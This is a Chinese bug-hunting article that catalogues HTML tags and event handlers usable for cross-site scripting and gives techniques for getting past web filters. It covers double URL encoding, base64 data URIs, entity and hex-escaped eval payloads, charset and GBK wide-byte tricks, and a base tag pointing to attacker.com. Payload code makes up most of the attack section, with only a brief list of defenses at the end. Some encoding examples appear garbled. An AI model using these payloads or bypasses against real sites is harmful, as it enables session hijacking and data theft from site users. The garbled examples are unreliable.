挖洞经验 | 可以被XSS利用的HTML标签和一些手段技巧
字数 1228 2025-08-10 12:18:06
XSS攻击利用技术详解:HTML标签与绕过技巧
一、XSS概述
XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站上注入恶意脚本,当其他用户访问该网站时,这些脚本会在用户浏览器中执行,从而实现窃取用户数据、会话劫持等恶意目的。
二、可利用的HTML标签及事件
1. 基本可执行标签
<a>标签
<a href="javascript:confirm('a')">点击触发</a>
- 特点:需要用户点击才会触发
``标签
- 可用事件:
onclick:点击触发onerror:当src加载失败时触发onload:当src加载完成时触发
<video>和<audio>标签
<video src="#" onclick="javascript:alert('video:onclick')"
onerror="javascript:alert('video:onerror')"
onload="javascript:alert('video:onload')"></video>
<audio src="#" onclick="javascript:alert('audio:onclick')"
onerror="javascript:alert('audio:onerror')"
onload="javascript:alert('audio:onload')"></audio>
- 注意:这些标签中src加伪协议js代码在现代浏览器中通常不能直接触发
<iframe>标签
<iframe src="javascript:alert('iframe')" width="0" height="0"/>
- 特点:加载时自动执行
2. 表单相关标签
<form action="Javascript:alert('from_action0')">
<input type="submit" formaction="JaVaScript:alert('from_action2')">
<input type="image" formaction="JaVaScript:alert('from_action1')">
<input type="text" onchange="JaVaScript:alert('from_action3')">
</form>
- 前三个需要点击事件触发
onchange在内容改变时触发
3. 其他有效标签及事件
<a onmouseover="javascript:alert('a_onmouseover')">悬停触发</a>
<svg onload="javascript:alert('svg')"></svg>
<body onload="javascript:alert('body')"></body>
<select autofocus onfocus="javascript:alert('select')"></select>
<textarea autofocus onfocus="javascript:alert('textarea')"></textarea>
<keygen autofocus onfocus="javascript:alert('keygen')"></keygen>
<audio><source onerror="javascript:alert('source')"></audio>
- 特点:加上
autofocus属性可以自动触发
三、XSS绕过技巧
1. URL编码双重解码绕过
将%编码为%25,当后台对参数进行多次URL解码时可能绕过WAF:
原始:%3Cscript%3Ealert(1)%3C/script%3E
第一次编码:%253Cscript%253Ealert(1)%253C/script%253E
2. Base64编码绕过
将XSS代码转换为Base64格式:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0Jyk8L3NjcmlwdD4=">
解码后内容:<script>alert('base64')</script>
3. HTML实体编码绕过
利用HTML实体编码绕过过滤:
<a href="javascript:alert('123')">Hello</a>
<a href="javascript:alert('123')">Hello</a>
<a href="javascript:alert('123')">Hello</a>
4. 结合eval函数
<a href="javascript:eval('a\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
5. 控制前端编码
当可以控制charset参数时:
www.example.com/?charset='ISO-2022-JP'&xss=%1b%28%4Aalert(1)
利用浏览器不识别某些编码中的特殊字符来绕过过滤
6. 宽字节绕过
针对GBK等双字节编码环境:
%bf%22onmouseover=alert(1)//
利用宽字节特性破坏原始引号闭合
7. 头部Base绕过
控制<base>标签的href属性:
<head>
<base href="http://attacker.com/">
</head>
之后所有相对路径都会基于此URL解析
四、实用技巧
1. 使Referer为空
<meta name="referrer" content="never">
或使用iframe嵌入data URI:
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
2. 注意返回的Content-Type
- 只有返回
text/html或application/xhtml+xml等类型时,浏览器才会解析HTML - 不同浏览器对不同类型的处理方式不同
3. 阻止302跳转
http://xss.com:0" onclick="alert(/1/)
使用非常规端口(如0)阻止自动跳转
4. 处理X-XSS-Protection
X-XSS-Protection: 0:禁用浏览器XSS过滤器X-XSS-Protection: 1:启用过滤器X-XSS-Protection: 1; mode=block:阻止渲染可能包含XSS的页面
五、防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用CSP(内容安全策略)限制脚本执行
- 设置HttpOnly标志防止通过JavaScript访问Cookie
- 实施输入验证和输出编码
- 使用现代框架提供的XSS防护机制
六、总结
XSS攻击手段多样且不断演变,防御XSS需要深入了解其工作原理和利用技术。本文介绍了当前主流浏览器中仍可用的XSS触发方式以及多种绕过WAF的技巧,安全开发人员应关注这些技术以构建更安全的Web应用。